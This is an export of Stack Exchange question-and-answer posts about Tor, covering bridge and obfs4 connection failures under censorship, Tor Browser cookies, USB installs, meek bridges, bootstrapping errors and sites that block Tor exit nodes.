  <row Id="17228" PostTypeId="1" CreationDate="2018-05-31T07:58:10.610" Score="0" ViewCount="273" Body="&lt;p&gt;I encounter an issue trying to add another client to an already running tor+obfs4proxy setup. While the first client can connect with no issue to the server(outside Iran) the new client almost identical to the previous fails at the 10% bootstrap:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;May 31 11:55:53.000 [notice] Bootstrapped 10%: Finishing handshake&#xA;  with directory server May 31 11:56:53.000 [warn] Proxy Client: unable&#xA;  to connect to 46.101.199.19:9443 (&quot;general SOCKS server failure&quot;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Suspecting something wrong in my serrver;I got 2x bridge relay addresses from tor:&lt;a href=&quot;https://bridges.torproject.org/bridges?transport=obfs4&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bridges.torproject.org/bridges?transport=obfs4&lt;/a&gt;&#xA;to yet stop at exactly the same step :(&#xA;How can I circumvent this? Can you please help?&lt;/p&gt;&#xA;" OwnerUserId="20556" LastActivityDate="2019-08-26T17:01:31.140" Title="New client connection to Tor private relay + obfs4proxy fails" Tags="|configuration|torsocks|obfs4proxy|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17233" PostTypeId="1" CreationDate="2018-06-02T04:02:18.330" Score="0" ViewCount="877" Body="&lt;p&gt;How do you white list certain cookies in TOR? I know TOR by default keeps cookies until you exit window but is there a way to make it delete cookies till x amount of time after a tab is closed from the origin of the cookie? Do you have to use a browser extension for that if so what do you recommend?&lt;/p&gt;&#xA;" OwnerUserId="22174" LastActivityDate="2018-06-05T14:28:51.403" Title="Tor Cookie Manager" Tags="|tor-browser-bundle|cookies|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17234" PostTypeId="2" ParentId="17228" CreationDate="2018-06-02T13:15:25.600" Score="1" Body="&lt;p&gt;As earlier suspicion; it is the Iran's regime behind this and somehow they managed to block the handshake or initiation of any tor circuit even in the form of obfuscated V4. &#xA;Honestly thought of the combination invincible but it fails. I did use the tor site relays in the configs and also the tor-browser all with the same symptom. That is how I am certain it should be the regime's DPI at work :(&lt;/p&gt;&#xA;" OwnerUserId="20556" LastActivityDate="2018-06-02T13:15:25.600" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17235" PostTypeId="2" ParentId="17198" CreationDate="2018-06-02T18:13:11.663" Score="0" Body="&lt;p&gt;The Nioe is a tool that has been in the community for more than 3 years, and nobody has ever reported any problems in security deployments ... So it seems very security!&lt;/p&gt;&#xA;" OwnerUserId="22181" LastActivityDate="2018-06-02T18:13:11.663" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17239" PostTypeId="1" CreationDate="2018-06-04T03:59:58.437" Score="1" ViewCount="517" Body="&lt;p&gt;So, I understand that for .onion sites it can help keep them anonymous but is there much of a difference for the user? Does have any added privacy/security?&lt;/p&gt;&#xA;" OwnerUserId="22174" LastActivityDate="2018-06-05T14:27:49.527" Title="How is connecting to clearnet sites diffrent than connecting to .onion sites?" Tags="|onion-routing|darknet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17242" PostTypeId="2" ParentId="16047" CreationDate="2018-06-04T18:51:02.923" Score="1" Body="&lt;p&gt;You know, all this talk about &quot;no one should use 32 bit tails&quot; is silly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, I'm not a child or an idiot, and neither are most others - I know the risks, and they do also, so stop patronizing.  A prudent caution is useful.  Telling us what we should and should not do is arrogant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second of all, tails is uniquely useful for non-web purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is good for booting a machine and inspecting its disk and resources without leaving a trace.  If the machine you are targeting is 32-bit, you need 32-bit tails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also good for disk rescue and recovery in ways other distributions are not, and again, if the machine is 32-bits, you need 32-bit tails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thirdly, if all you have is a 32-bit machine, the last 32-bit tails is better than the copy I downloaded two years ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, not everyone is all about Tor.  Sure, the obsolete Tor browser is vulnerable, and so too doubtless are other critical components.  But when I use tails on the web, I &lt;strong&gt;always&lt;/strong&gt; use the insecure browser, simply for the sake of performance.  I'm not a spook, and I don't care about anonymity most of the time.  I do care about using a foreign machine without leaving a trace.&lt;/p&gt;&#xA;" OwnerUserId="22199" LastActivityDate="2018-06-04T18:51:02.923" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17244" PostTypeId="2" ParentId="16095" CreationDate="2018-06-05T01:34:51.887" Score="0" Body="&lt;p&gt;i see this warn in my log, but i try and try to find problem.&#xA;my torrc config:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HTTPTunnelPort 0.0.0.0:8181&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but i use different port in my apps. example, i use 8118 port in Telegram.&#xA;after change Telegram HTTP Proxy port to 8181, no longer receiving this error.&lt;/p&gt;&#xA;" OwnerUserId="22201" LastActivityDate="2018-06-05T01:34:51.887" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17247" PostTypeId="2" ParentId="17239" CreationDate="2018-06-05T14:27:49.527" Score="2" Body="&lt;p&gt;Connections to clearnet sites have to go through exit relays. While it is wrong for them to do this and they'll get removed from the network when caught, exit relays are in a position to log and modify traffic (HTTPS mitigates this for the most part, but not entirely). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Onion services do not use exits and are end-to-end encrypted. They don't need HTTPS for its encryption and its impossible for connections to be man-in-the-middled.&lt;/p&gt;&#xA;" OwnerUserId="20069" LastActivityDate="2018-06-05T14:27:49.527" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17248" PostTypeId="2" ParentId="17233" CreationDate="2018-06-05T14:28:51.403" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;is there a way to make it delete cookies till x amount of time after a tab is closed from the origin of the cookie&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Do you have to use a browser extension for that&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;what do you recommend?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not installing browser extensions. They can make you more easily fingerprintable.&lt;/p&gt;&#xA;" OwnerUserId="20069" LastActivityDate="2018-06-05T14:28:51.403" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17252" PostTypeId="1" AcceptedAnswerId="17262" CreationDate="2018-06-06T07:50:42.297" Score="0" ViewCount="444" Body="&lt;p&gt;According to the &lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en#windows&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you want to move it to a different computer or limit the traces you leave behind, save it to a USB disk.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But this is only mentioned for Windows instructions. I wonder if I can take similar steps on macOS and Linux, i.e. choose the USB drive as the destination folder during the installation.&lt;/p&gt;&#xA;" OwnerDisplayName="user3012" LastEditorDisplayName="user3012" LastEditDate="2018-06-06T09:19:34.193" LastActivityDate="2018-06-07T09:24:41.980" Title="Tor on a USB drive on different operating systems" Tags="|linux|mac|tor-install|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17254" PostTypeId="2" ParentId="9014" CreationDate="2018-06-06T11:18:37.463" Score="1" Body="&lt;p&gt;It's a little cumbersome but technically works:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the developer tab when you select a request you can view the cookies which were sent with it (including HttpOnly cookies).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sJvNp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sJvNp.png&quot; alt=&quot;developer tools&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20628" LastActivityDate="2018-06-06T11:18:37.463" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17255" PostTypeId="2" ParentId="10684" CreationDate="2018-06-06T11:30:44.430" Score="2" Body="&lt;p&gt;At the moment the only way to get a trusted SSL certificate for a .onion domain is to buy an EV (extended validation) certificate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more info see: &lt;a href=&quot;https://www.digicert.com/blog/ordering-a-onion-certificate-from-digicert/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.digicert.com/blog/ordering-a-onion-certificate-from-digicert/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20628" LastActivityDate="2018-06-06T11:30:44.430" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17256" PostTypeId="2" ParentId="11815" CreationDate="2018-06-06T12:05:21.417" Score="0" Body="&lt;p&gt;Do you use firefox? If so, go to &lt;code&gt;about:config&lt;/code&gt;, type &lt;code&gt;onion&lt;/code&gt; in search field and set &lt;code&gt;network.dns.blockDotOnion&lt;/code&gt; to &lt;code&gt;false&lt;/code&gt;. (Also it's preferable to set &lt;code&gt;network.http.referer.hideOnionSource&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt;)&lt;/p&gt;&#xA;" OwnerUserId="22218" LastActivityDate="2018-06-06T12:05:21.417" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17258" PostTypeId="2" ParentId="17218" CreationDate="2018-06-07T07:31:16.673" Score="0" Body="&lt;p&gt;This refers to log entries (not config). Arm just says that there was 70 times the same log message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To find out what exactly causes this, you'd have to post the tor logs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Also note:&lt;/strong&gt; Arm is no longer maintained. Instead switch to &lt;a href=&quot;https://nix.torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;nyx&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="20628" LastActivityDate="2018-06-07T07:31:16.673" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17259" PostTypeId="2" ParentId="17196" CreationDate="2018-06-07T07:42:21.267" Score="0" Body="&lt;p&gt;Like &lt;a href=&quot;https://tor.stackexchange.com/users/20069/pastly&quot;&gt;pastly&lt;/a&gt; already said Tor Browser chooses it's relays on random. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However using &lt;a href=&quot;https://stem.torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;stem&lt;/a&gt; you &lt;strong&gt;can&lt;/strong&gt; use a specific exit node. (&lt;a href=&quot;https://stem.torproject.org/tutorials/to_russia_with_love.html#custom-path-selection&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://stem.torproject.org/tutorials/to_russia_with_love.html#custom-path-selection&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="20628" LastActivityDate="2018-06-07T07:42:21.267" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17260" PostTypeId="2" ParentId="17191" CreationDate="2018-06-07T07:47:33.750" Score="0" Body="&lt;p&gt;No, not in standard Tor browser. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However you can modify Tor to use a custom amount of hops.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a 2 hop example see here: &lt;a href=&quot;https://www.grepular.com/Tor_Circuits_with_Two_Hops_on_Ubuntu&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.grepular.com/Tor_Circuits_with_Two_Hops_on_Ubuntu&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; You really shouldn't do this since it harms your anonymity. (&lt;a href=&quot;https://torproject.org/docs/faq.html.en#ChoosePathLength&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://torproject.org/docs/faq.html.en#ChoosePathLength&lt;/a&gt; )&lt;/p&gt;&#xA;" OwnerUserId="20628" LastActivityDate="2018-06-07T07:47:33.750" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="17262" PostTypeId="2" ParentId="17252" CreationDate="2018-06-07T09:24:41.980" Score="0" Body="&lt;p&gt;Yes you can.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Linux:&lt;/strong&gt;&#xA;Extract the Tor Browser Tar to the USB drive and use it from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Mac OS X:&lt;/strong&gt;&#xA;Same as Linux just with &lt;code&gt;dmg&lt;/code&gt; file.&lt;/p&gt;&#xA;" OwnerUserId="20628" LastActivityDate="2018-06-07T09:24:41.980" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17268" PostTypeId="1" CreationDate="2018-06-08T14:39:38.660" Score="0" ViewCount="257" Body="&lt;p&gt;I'm trying to get and set cookies using the Tor API.&#xA;The problem is that the &lt;code&gt;SocksPortHandler&lt;/code&gt; doesn't have &lt;code&gt;CookieContainer&lt;/code&gt; nor &lt;code&gt;InnerHandler&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using &lt;code&gt;Knapcode.SocketToMe.Http.CookieHandler&lt;/code&gt; and set its &lt;code&gt;InnerHandler&lt;/code&gt; to &lt;code&gt;SocksPortHandler&lt;/code&gt;, but with no success. here is the code -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  using (CookieHandler cookieHandler = new CookieHandler())&#xA;            {&#xA;                SocksPortHandler socksPortHandler = new SocksPortHandler(&quot;127.0.0.1&quot;, socksPort: 9050);&#xA;                cookieHandler.InnerHandler = socksPortHandler;&#xA;                using (HttpClient httpClient = new HttpClient(cookieHandler))&#xA;                {&#xA;                   .....setting httpClient properties.....&#xA;                    HttpResponseMessage message = httpClient.GetAsync(uri).Result;&#xA;                    response = message.Content.ReadAsStringAsync().Result;&#xA;                    cookieHeader = cookieHandler.CookieContainer.GetCookieHeader(uri);&#xA;                }&#xA;            }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;how can I do it? Thanks&lt;/p&gt;&#xA;" OwnerUserId="22236" LastEditorUserId="88" LastEditDate="2020-04-28T21:15:18.547" LastActivityDate="2022-01-19T00:04:45.440" Title="get\set cookie using TOR API c#" Tags="|torsocks|cookies|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17269" PostTypeId="2" ParentId="17268" CreationDate="2018-06-08T15:28:42.643" Score="0" Body="&lt;p&gt;just found the answer &lt;a href=&quot;https://github.com/nopara73/DotNetTor/issues/18&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/nopara73/DotNetTor/issues/18&lt;/a&gt;&#xA;hope it will help others&lt;/p&gt;&#xA;" OwnerUserId="22236" LastActivityDate="2018-06-08T15:28:42.643" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17270" PostTypeId="1" CreationDate="2018-06-08T15:49:42.250" Score="0" ViewCount="1904" Body="&lt;p&gt;I have Kali GNU/Linux Rolling (v. 2018.2) installed on the Raspberry Pi 3 B+.&#xA;I downloaded and installed Tor Browser (32-Bit) and when I try to run &quot;./start-tor-browser&quot; nothing happen:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/MGEyp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MGEyp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;I also tried to run &quot;./start-tor-browser.desktop&quot; and it returns &quot;Launching './Browser/start-tor-browser --detach'...&quot;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/6JzYw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6JzYw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;- I tried to do that on both root and user account;&lt;br /&gt;&#xA;- I changed the owner to be the root for the whole directory;&lt;br /&gt;&#xA;- I edited the file Browser/tart-tor-browser and changed the if condition from if [&quot;&lt;code&gt;id -u&lt;/code&gt;&quot; -eq 0] to &quot;-eq 1&quot;;&lt;br /&gt;&#xA;- I also tried to comment the whole if condition;&lt;br /&gt;&#xA;- I moved the &quot;tor-browser_en-US&quot; folder to /etc;&lt;br /&gt;&#xA;- I executed command &quot;chown -R root *&quot; in &quot;tor-browser_en-US&quot;;&lt;br /&gt;&#xA;I have read all topics with a similar problem and checked youtube vidoes but I didn't find any solution.&lt;/p&gt;&#xA;" OwnerUserId="22238" LastActivityDate="2019-04-13T06:01:25.237" Title="Tor Browser does not open" Tags="|tor-install|" AnswerCount="1" CommentCount="0" ClosedDate="2019-06-07T21:47:44.793" ContentLicense="CC BY-SA 4.0" />
  <row Id="17273" PostTypeId="1" CreationDate="2018-06-09T10:40:14.493" Score="0" ViewCount="7535" Body="&lt;p&gt;IDK whats the problem, it worked till now.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Blockquote 7/10/2018 13:08:01 PM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;  7/10/2018 13:08:01 PM.600 [NOTICE] Switching to guard context &quot;default&quot; (was using &quot;bridges&quot;) &#xA;  7/10/2018 13:08:01 PM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;  7/10/2018 13:08:01 PM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;  7/10/2018 13:08:01 PM.600 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;  7/10/2018 13:08:02 PM.000 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;  7/10/2018 13:08:02 PM.600 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;  7/10/2018 13:08:08 PM.700 [WARN] Received a bad CERTS cell: At least one certificate expired. &#xA;  7/10/2018 13:08:09 PM.700 [WARN] Received a bad CERTS cell: At least one certificate expired. &#xA;  7/10/2018 13:08:09 PM.700 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 10; recommendation warn; host 24E2F1239121D4394C54B5BCC368B3B411857C413 at XXX) &#xA;  7/10/2018 13:08:09 PM.700 [WARN] 10 connections have failed: &#xA;  7/10/2018 13:08:09 PM.700 [WARN]  10 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;  7/10/2018 13:08:10 PM.100 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;  7/10/2018 13:08:10 PM.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;  7/10/2018 13:08:10 PM.100 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;  7/10/2018 13:08:10 PM.400 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;  7/10/2018 13:09:52 PM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;  7/10/2018 13:09:52 PM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;  7/10/2018 13:09:52 PM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;  7/10/2018 13:09:52 PM.800 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;  7/10/2018 13:09:53 PM.200 [WARN] Received a bad CERTS cell: At least one certificate expired. &#xA;  7/10/2018 13:09:53 PM.200 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 11; recommendation warn; host BD6A8292545CB08E66FBE7D3748363586E46B3810 at XXX) &#xA;  7/10/2018 13:09:53 PM.200 [WARN] 11 connections have failed: &#xA;  7/10/2018 13:09:53 PM.200 [WARN]  11 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;  7/10/2018 13:09:53 PM.200 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;  7/10/2018 13:09:53 PM.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;  7/10/2018 13:09:53 PM.200 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;  7/10/2018 13:09:53 PM.200 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 12; recommendation warn; host 40E7D6CE5085E4CDDDA31D51A29D1457EB53F12AD at XXX) &#xA;  7/10/2018 13:09:53 PM.200 [WARN] 12 connections have failed: &#xA;  7/10/2018 13:09:53 PM.200 [WARN]  11 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;  7/10/2018 13:09:53 PM.200 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;  7/10/2018 13:09:53 PM.400 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;  Blockquote&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot for helping.&lt;/p&gt;&#xA;" OwnerUserId="22245" LastActivityDate="2021-12-21T09:02:30.297" Title="tor failed to establish a network connection" Tags="|tor-browser-bundle|help|network-configuration|connection|browsers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17275" PostTypeId="2" ParentId="17273" CreationDate="2018-06-09T19:40:24.687" Score="0" Body="&lt;p&gt;Given the errors you are suddenly receiving, there are some questions I am going to ask.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's take a look at one of them.&#xA;Blockquote 7/10/2018 13:08:01 PM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. 7/10/2018 13:08:01 PM.600 [NOTICE] Switching to guard context &quot;default&quot; (was using &quot;bridges&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you trying to access tor from an area where the tor network is blocked (given that it says &quot;was using bridges&quot;)? If you were having to use bridges to connect, your ISP might have discovered that the ip addresses that you were connecting to were bridges and blocked them. You can get more bridges by sending an email with the subject line &quot;Get Bridges&quot; to bridges@torproject.org from an either gmail.com or yahoo.com email address or going to &lt;a href=&quot;https://bridges.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bridges.torproject.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is not the case and you were not having to use bridges to connect to the tor network (if the tor network is not blocked by your ISP), the next thing I would ask is this; have you changed anything on your network (firewall settings, added a proxy server, etc)? If this is the case, well then you'll need to click the &quot;configure&quot; button on the tor software and enter the proxy settings of your local proxy server if you have one, or configure tor browser to connect only through ports that are not blocked through your router or firewall (assuming you cannot possibly change this, which can be done by logging into your router and configuring your router to allow the necessary traffic).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know what you think.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2018-06-09T19:40:24.687" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17276" PostTypeId="2" ParentId="17151" CreationDate="2018-06-09T22:18:59.187" Score="1" Body="&lt;p&gt;I feel a little silly about this but I found an answer. I'm not sure how it differed from my approach. This is taken from &lt;a href=&quot;https://gk2.sk/running-ssh-on-a-raspberry-pi-as-a-hidden-service-with-tor/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gk2.sk/running-ssh-on-a-raspberry-pi-as-a-hidden-service-with-tor/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;export SERVICE_DIR=/var/lib/tor/sshd/&#xA;mkdir $SERVICE_DIR&#xA;chmod 700 $SERVICE_DIR&#xA;chown debian-tor.debian-tor $SERVICE_DIR&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Checked with the following as per &lt;a href=&quot;https://tor.stackexchange.com/questions/12678/how-to-check-if-tor-is-working-and-debug-the-problem-on-cli&quot;&gt;How to check if Tor is working and debug the problem on CLI?&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl --socks5 localhost:9050 --socks5-hostname localhost:9050 -s https://check.torproject.org/ | cat | grep -m 1 Congratulations | xargs&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can only think my sticky bit manipulation caused a problem. I did change the period to colon in the &lt;code&gt;chown&lt;/code&gt; command.&lt;/p&gt;&#xA;" OwnerUserId="12078" LastActivityDate="2018-06-09T22:18:59.187" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17278" PostTypeId="1" CreationDate="2018-06-10T10:25:21.487" Score="2" ViewCount="161" Body="&lt;p&gt;Not a fan of Wiki logging my IP just to edit something. Is there a way around this or should I look for another proxy. Any suggestions???&lt;/p&gt;&#xA;" OwnerUserId="22254" LastActivityDate="2018-06-11T05:23:34.303" Title="wikipedia has block tor exit nodes... anyway around this?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="1" ClosedDate="2018-06-22T21:41:28.407" ContentLicense="CC BY-SA 4.0" />
  <row Id="17279" PostTypeId="2" ParentId="17278" CreationDate="2018-06-11T05:23:34.303" Score="1" Body="&lt;p&gt;Tor is completely blocked on Wikipedia for new users, so you will need to use another proxy with Tor if you want to edit it. However, Wikipedia is able to whitelist individual users who have a genuine need. I have had success in the past by sending an email to a moderator and showing them what I would edit, asking them if they could either edit it on my behalf or whitelist my account.&lt;/p&gt;&#xA;" OwnerUserId="21937" LastActivityDate="2018-06-11T05:23:34.303" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17280" PostTypeId="1" AcceptedAnswerId="17409" CreationDate="2018-06-11T13:52:30.687" Score="1" ViewCount="274" Body="&lt;p&gt;I am working on a tor launcher using stem.process module. my problem is that when i specify tor to use meek bridge, it stop at bootstrapping part. my config:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;config = { 'SocksPort': '7000', 'ControlPort': '9051', 'UseBridges': '1', 'Bridge': 'meek 0.0.2.0:3 97700DFE9F483596DDA6264C4D7DF7641E1E39CE url=https://meek.azureedge.net/ front=ajax.aspnetcdn.com' }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am using the default meek bridge provided in this path:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TorBrowser\Browser\TorBrowser\Data\Browser\profile.default\preferences\extension-overrides.js&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when I set this bridge using tor-browser, it works for me but when i use it programmatic, it will freeze. thank you all&lt;/p&gt;&#xA;" OwnerUserId="21249" LastEditorUserId="21249" LastEditDate="2018-07-09T19:30:46.650" LastActivityDate="2018-07-09T19:30:46.650" Title="using meek bridge programmatic" Tags="|bridge|stem|meek|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17282" PostTypeId="1" CreationDate="2018-06-12T12:39:15.610" Score="1" ViewCount="3298" Body="&lt;p&gt;When trying to log-in to my Telegram account on &lt;a href=&quot;https://web.telegram.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;web.telegram.org&lt;/a&gt; I get requested to insert my phone number as usual. The next step would be insertion of a log-in authentification code that I receive on other Telegram instances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of switching forward to the insertion field for that code I always receive the following error dialog:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Too fast&#xA;You are performing too many actions. Please try again later.&#xA;Click for technical details&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I click on &quot;Click for technical details&quot; and see the following description:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Method: auth.sendCode&#xA;Result: {&quot;_&quot;:&quot;rpc_error&quot;,&quot;error_code&quot;:420,&quot;error_message&quot;:&quot;FLOOD_WAIT_86400&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, log-in to Telegram Web in common webbrowsers (Firefox, Chrome, etc.) works completely fine. Only the Tor Browser seems to cause this error.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Does any Tor user have similar issues with Telegram web?&lt;/p&gt;&#xA;" OwnerUserId="20730" LastActivityDate="2018-06-13T09:32:09.310" Title="Using Telegram Web inside Tor Browser: Log-in attempts fail several times?" Tags="|tor-browser-bundle|anonymity|error|browsers|login|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
